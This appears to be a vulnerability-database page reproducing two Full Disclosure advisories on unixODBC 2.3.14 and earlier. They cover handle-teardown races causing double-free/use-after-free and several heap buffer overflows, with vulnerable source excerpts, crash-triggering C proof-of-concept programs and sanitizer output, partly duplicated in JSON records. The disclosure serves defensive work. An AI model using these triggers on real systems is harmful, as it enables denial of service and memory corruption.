* release any pooled connections that are using this environment
*/
__strip_from_pool( environment );
}
#else
__strip_from_pool( environment );
#endif
__release_env( environment );
return SQL_SUCCESS;
}
break;
```
Code snippet from `unixODBC`'s DriverManager/SQLFreeHandle.c, lines 271-288
```c
/** Lines 663-686 inside of __validate_env() **/
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( ptr == env )
{
if ( env -> released )
{
fprintf( stderr, "unixODBC: API Error, env handle used after being free\n" );
ret = 0;
}
else
{
ret = 1;
}
break;
}
ptr = ptr -> next_class_list;
}
local_mutex_exit( &mutex_lists );
/** ... **/
/** Lines 693-754 inside of __release_env**/
/*
* remove from list
*/
void __release_env( DMHENV environment )
{
DMHENV last = NULL;
DMHENV ptr;
if ( shared_environment && environment == shared_environment ) {
return;
}
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( environment == ptr )
{
break;
}
last = ptr;
ptr = ptr -> next_class_list;
}
if ( ptr )
{
if ( last )
{
last -> next_class_list = ptr -> next_class_list;
}
else
{
environment_root = ptr -> next_class_list;
}
}
clear_error_head( &environment -> error );
/*
* free log
*/
dm_log_close();
#if defined ( COLLECT_STATS ) && defined( HAVE_SYS_SEM_H )
if (environment->sh)
uodbc_close_stats(environment->sh);
#endif
/*
* clear just to make sure
*/
memset( environment, 0, sizeof( *environment ));
free( environment );
local_mutex_exit( &mutex_lists );
}
```
Snippets from `unixODBC`'s DriverManager/__handles.c
```c
#include <sql.h>
#include <sqlext.h>
#include <pthread.h>
#include <stdio.h>
static SQLHANDLE henv;
static void *racer(void *arg) {
SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);
printf("thread %ld: SQLFreeHandle returned %d\n", (long) arg, (int) ret);
return NULL;
}
int main(void) {
for (int iter = 0; iter < 1000; iter++) {
SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (ret != SQL_SUCCESS) {
fprintf(stderr, "SQLAllocHandle failed (iter %d)\n", iter);
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, racer, (void *) 1L);
pthread_create(&t2, NULL, racer, (void *) 2L);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
}
return 0;
}
```
Sample code to cause the race
```text
==================================================================
==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp
0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8
READ of size 8 at 0x61e00001b8b0 thread T74
#0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42
#1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
freed by thread T73 here:
#0 0x4a31e6 in free
#1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
previously allocated by thread T0 here:
#0 in __interceptor_calloc
```
Output from AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/9 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in \nthe connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout \nvalue, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling \nfunctionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but, \nfor brevity, are left as exercises for the reader.\n\nExamples\nSample Data Races\nWhile 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and \nother instances.\n\nConnection-Pooling Configuration State Data Races\nThe DriverManager\u0027s connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and \n`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, \n`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, \ndespite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in \nquestion are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a \ndata race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and \nthe compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive \noptimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites \nwith this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the \nissue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple \ntimes will provide a better example thereof, as one would expect with such an issue.\n\n```c\nint pooling_enabled = 0;\nint pool_max_size = 0;\nint pool_wait_timeout;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 738-740\n\n```c\n/** Lines 255-261 **/\n/*\n* connection pooling stuff\n*/\n\nextern int pooling_enabled;\nextern int pool_max_size;\nextern int pool_wait_timeout;\n/** ... **/\n/** Lines 302-323 **/\n if ( pooling_string[ 0 ] == \u00271\u0027 ||\n toupper( pooling_string[ 0 ] ) == \u0027Y\u0027 ||\n ( toupper( pooling_string[ 0 ] ) == \u0027O\u0027 \u0026\u0026\n toupper( pooling_string[ 1 ] ) == \u0027N\u0027 ))\n {\n pooling_enabled = 1;\n }\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n/** .. **/\n/** Lines 383-397 **/\n#else\n\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n```\nSnippets from `unixODBC`\u0027s DriverManager/SQLAllocHandle.c\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\n#define ITER 2000\n\nstatic void *setter_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,\n (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);\n }\n return NULL;\n}\n\nstatic void *alloc_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLHENV henv = SQL_NULL_HENV;\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (henv != SQL_NULL_HENV) {\n SQLFreeHandle(SQL_HANDLE_ENV, henv);\n }\n }\n return NULL;\n}\n\nint main(void) {\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, setter_thread, NULL);\n pthread_create(\u0026t2, NULL, alloc_thread, NULL);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n printf(\"done\\n\");\n return 0;\n}\n```\nSample code to cause the data race\n\n```text\nWARNING: ThreadSanitizer: data race (pid=1369482)\n Read of size 4 at 0x7f6f9fff8c28 by thread T2:\n #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...\n #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...\n #2 alloc_thread .../poc_pool_race.c:41:24 ...\n Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:\n #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...\n #1 setter_thread .../poc_pool_race.c:31:9 ...\n Location is global \u0027pooling_enabled\u0027 of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)\n ...\nSUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle\nThreadSanitizer: reported 1 warnings\n```\nOutput from ThreadSanitizer\n\nSample Double-Free/Use-After-Free Race\nAlthough there are multiple instances of this issue within the code base, the following shall serve as a template to \nfind the others.\n\nRacing on a Shared Handle\nThe `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform \n`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually \nfound and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock \nbefore the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle \nsimultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the \nother then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable \nmemory corruption. Please note that our example only shows some of the instances and that the exact same paradigm \nexists elsewhere in the code.\n\nIt should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety \nof other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list \nafter validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the \nlock, and then calls `__release_env` -- it is this process that is allowing the race.\n\nRegarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle \n(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, \nagain, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code \nsegments are copy/pastes of that which is shown below.\n\n```c\n thread_release( SQL_HANDLE_ENV, environment );\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled == 0 ) {\n /*\n * release any pooled connections that are using this environment\n */\n __strip_from_pool( environment );\n }\n#else\n __strip_from_pool( environment );\n#endif\n\n __release_env( environment );\n\n return SQL_SUCCESS;\n }\n break;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLFreeHandle.c, lines 271-288\n\n```c\n/** Lines 663-686 inside of __validate_env() **/\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( ptr == env )\n {\n if ( env -\u003e released )\n {\n fprintf( stderr, \"unixODBC: API Error, env handle used after being free\\n\" );\n ret = 0;\n }\n else\n {\n ret = 1;\n }\n break;\n }\n\n ptr = ptr -\u003e next_class_list;\n }\n\n local_mutex_exit( \u0026mutex_lists );\n/** ... **/\n/** Lines 693-754 inside of __release_env**/\n/*\n* remove from list\n*/\n\nvoid __release_env( DMHENV environment )\n{\n DMHENV last = NULL;\n DMHENV ptr;\n\n if ( shared_environment \u0026\u0026 environment == shared_environment ) {\n return;\n }\n\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( environment == ptr )\n {\n break;\n }\n last = ptr;\n ptr = ptr -\u003e next_class_list;\n }\n\n if ( ptr )\n {\n if ( last )\n {\n last -\u003e next_class_list = ptr -\u003e next_class_list;\n }\n else\n {\n environment_root = ptr -\u003e next_class_list;\n }\n }\n\n clear_error_head( \u0026environment -\u003e error );\n\n /*\n * free log\n */\n\n dm_log_close();\n\n#if defined ( COLLECT_STATS ) \u0026\u0026 defined( HAVE_SYS_SEM_H )\n if (environment-\u003esh)\n uodbc_close_stats(environment-\u003esh);\n#endif\n\n /*\n * clear just to make sure\n */\n\n memset( environment, 0, sizeof( *environment ));\n\n free( environment );\n\n local_mutex_exit( \u0026mutex_lists );\n}\n```\nSnippets from `unixODBC`\u0027s DriverManager/__handles.c\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n\nstatic SQLHANDLE henv;\n\nstatic void *racer(void *arg) {\n SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);\n printf(\"thread %ld: SQLFreeHandle returned %d\\n\", (long) arg, (int) ret);\n return NULL;\n}\n\nint main(void) {\n for (int iter = 0; iter \u003c 1000; iter++) {\n SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (ret != SQL_SUCCESS) {\n fprintf(stderr, \"SQLAllocHandle failed (iter %d)\\n\", iter);\n return 1;\n }\n\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, racer, (void *) 1L);\n pthread_create(\u0026t2, NULL, racer, (void *) 2L);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n }\n return 0;\n}\n```\nSample code to cause the race\n\n```text\n==================================================================\n==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp \n0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8\nREAD of size 8 at 0x61e00001b8b0 thread T74\n #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42\n #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\nfreed by thread T73 here:\n #0 0x4a31e6 in free\n #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\npreviously allocated by thread T0 here:\n #0 in __interceptor_calloc\n```\nOutput from AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/9"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/9"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Races",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0549",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9",
"automated": true,
"contentSha256": "6a1c1cf7a2ad3d97d7f34204d40d10bfd034435afd8c57c465642bca5e1fda4e",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T13:14:51Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0549"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0548
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads
Summary
unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who
can influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC
driver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager
(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the
calling information system leverages the library and is architected), information disclosure, and execute arbitrary
code, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows,
double-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may
not write those issues up, but this was all from a cursory glance through the code.
Examples
Sample Heap Buffer Overflows
While at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find
both the examples below and other instances.
SQLExecDirect's Unvalidated Caller-Supplied Length
When call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`,
doing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause
a negative value to be sent to the `sprintf` call, which standard C treats as "no precision given", turning the call
into an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly,
this same mistake is made elsewhere, such as in `SQLPrepare`'s lines 185-189 which appears to be a copy-paste of the
offending code.
```c
SQLRETURN SQLExecDirect( SQLHSTMT statement_handle,
SQLCHAR *statement_text,
SQLINTEGER text_length )
{
DMHSTMT statement = (DMHSTMT) statement_handle;
SQLRETURN ret;
SQLCHAR *s1;
SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];
/*
* check statement
*/
if ( !__validate_stmt( statement ))
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
function_entry( statement );
if ( log_info.log_flag )
{
/*
* allocate some space for the buffer
*/
if ( statement_text && text_length == SQL_NTS )
{
s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );
}
else if ( statement_text )
{
s1 = malloc( text_length + LOG_MESSAGE_LEN );
}
else
{
s1 = malloc( LOG_MESSAGE_LEN );
}
sprintf( statement -> msg, "\n\t\tEntry:\
\n\t\t\tStatement = %p\
\n\t\t\tSQL = %s",
statement,
__string_with_length( s1, statement_text, text_length ));
free( s1 );
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
statement -> msg );
}
```
Snippet from `unixODBC`'s DriverManager/SQLExecDirect.c, lines 184-242
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sql.h>
#include <sqlext.h>
int main(void)
{
SQLHENV henv = SQL_NULL_HENV;
SQLHDBC hdbc = SQL_NULL_HDBC;
SQLHSTMT hstmt = SQL_NULL_HSTMT;
SQLRETURN rc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
/* Enable the tracing */
SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);
/* Connect so that a valid STMT handle can be allocated -- the
* overflow itself happens before any call reaches the driver. */
rc = SQLConnect(hdbc, (SQLCHAR*)"test", SQL_NTS,
(SQLCHAR*)"", SQL_NTS, (SQLCHAR*)"", SQL_NTS);
if (!SQL_SUCCEEDED(rc) && rc != SQL_SUCCESS_WITH_INFO) { return 2; }
SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);
/* Long, fully attacker-controlled SQL text. */
size_t biglen = 8192;
char *big_sql = malloc(biglen + 1);
memset(big_sql, 'A', biglen);
big_sql[biglen] = '\0';
/* Negative text_length != SQL_NTS(-3) -> malloc(-50+128)=78
* bytes, then __string_with_length's sprintf("%.*s", -50, ...)
* treats the negative precision as "no precision", copying the
* full 8192-byte string into the 78-byte buffer. */
SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);
free(big_sql);
return 0;
}
```
Sample code to overflow the buffer
```text
SQLAllocHandle(ENV) rc=0
SQLAllocHandle(DBC) rc=0
SQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0
SQLConnect("test") rc=0
SQLAllocHandle(STMT) rc=0
Calling SQLExecDirect with text_length=-50, statement_text len=8192
=================================================================
==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp
0x7ffeee29bc20 sp 0x7ffeee29b3c0
WRITE of size 8209 at 0x607000001f0e thread T0
#0 0x440c42 in __interceptor_vsprintf ...
#1 0x441c37 in sprintf ...
#2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c
#3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17
#4 0x4dedd9 in main repro.c:87:10
...
0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)
allocated by thread T0 here:
#0 0x4a3492 in __interceptor_malloc ...
#1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c
#2 0x4dedd9 in main repro.c:87:10
...
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf
==1301501==ABORTING
```
Output from AddressSanitizer
```text
==1301663== Invalid write of size 8
==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)
==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)
==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)
==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)
==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)
==1301663== by 0x401404: main (repro.c:87)
==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena "client"
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.
```
Output from Valgrind
ODBCINSTSetProperty's Unbounded Property Name/Value Copy
Per the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the
caller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or
length check.
```c
int ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )
{
HODBCINSTPROPERTY hNew;
hNew =
(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );
memset(hNew, 0, sizeof(ODBCINSTPROPERTY));
hNew->nPromptType = ODBCINST_PROMPTTYPE_HIDDEN;
hNew->pNext = NULL;
hNew->bRefresh = 0;
hNew->hDLL = hFirstProperty->hDLL;
hNew->pWidget = NULL;
hNew->pszHelp = NULL;
hNew->aPromptData = NULL;
strcpy(hNew->szName, pszProperty );
strcpy( hNew->szValue, pszValue );
```
Code from `unixODBC`'s odbcinst/ODBCINSTSetProperty.c, lines 54-68
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinstext.h>
int main(void)
{
ODBCINSTPROPERTY head;
char *evil;
size_t n = 5000; /* > INI_MAX_PROPERTY_NAME/VALUE (1000) */
memset(&head, 0, sizeof(head));
strcpy(head.szName, "Driver"); /* seed list head so AddProperty can walk pNext */
head.pNext = NULL;
head.hDLL = NULL;
evil = malloc(n + 1);
memset(evil, 'A', n);
evil[n] = '\0';
fprintf(stderr, "calling ODBCINSTAddProperty with %zu-byte property name/value...\n", n);
/* pszProperty and pszValue are each 5000 bytes; hNew->szName/szValue
* (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only
* 1001 bytes each -> two separate heap overflows. */
ODBCINSTAddProperty(&head, evil, evil);
printf("reached end (heap likely corrupted)\n");
free(evil);
return 0;
}
```
Sample code to overflow the buffer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
=================================================================
==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp
0x7fffcabae780 sp 0x7fffcabadf48
WRITE of size 5001 at 0x61d000000888 thread T0
#0 0x48d468 in strcpy (repro_asan+0x48d468)
#1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2
#2 0x4debdf in main repro.c:26:5
0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)
allocated by thread T0 here:
#0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)
#1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33
#2 0x4debdf in main repro.c:26:5
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy
==1300489==ABORTING
```
Output from AddressSanitizer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
==1300550== Invalid write of size 1
==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)
==1300550== by 0x40123D: main (repro.c:26)
==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc'd
==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)
==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)
==1300550== by 0x40123D: main (repro.c:26)
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.
```
Output from Valgrind Memcheck
Template Driver's SQLConnect Unchecked Copy
The template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not
perform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf`
call while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data
sources (`szDataSource`) isn't checked until after the overflow has already occurred -- via `( strlen((char*)
szDataSource ) > ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only
1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver's
`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example
and the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library
but should be fixed since such code is supposed to aid developers.
```c
SQ
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who \ncan influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC \ndriver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager \n(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the \ncalling information system leverages the library and is architected), information disclosure, and execute arbitrary \ncode, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows, \ndouble-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may \nnot write those issues up, but this was all from a cursory glance through the code.\n\nExamples\nSample Heap Buffer Overflows\nWhile at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find \nboth the examples below and other instances.\n\nSQLExecDirect\u0027s Unvalidated Caller-Supplied Length\nWhen call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`, \ndoing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause \na negative value to be sent to the `sprintf` call, which standard C treats as \"no precision given\", turning the call \ninto an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly, \nthis same mistake is made elsewhere, such as in `SQLPrepare`\u0027s lines 185-189 which appears to be a copy-paste of the \noffending code.\n\n```c\nSQLRETURN SQLExecDirect( SQLHSTMT statement_handle,\n SQLCHAR *statement_text,\n SQLINTEGER text_length )\n{\n DMHSTMT statement = (DMHSTMT) statement_handle;\n SQLRETURN ret;\n SQLCHAR *s1;\n SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];\n\n /*\n * check statement\n */\n\n if ( !__validate_stmt( statement ))\n {\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n \"Error: SQL_INVALID_HANDLE\" );\n\n return SQL_INVALID_HANDLE;\n }\n\n function_entry( statement );\n\n if ( log_info.log_flag )\n {\n /*\n * allocate some space for the buffer\n */\n\n if ( statement_text \u0026\u0026 text_length == SQL_NTS )\n {\n s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );\n }\n else if ( statement_text )\n {\n s1 = malloc( text_length + LOG_MESSAGE_LEN );\n }\n else\n {\n s1 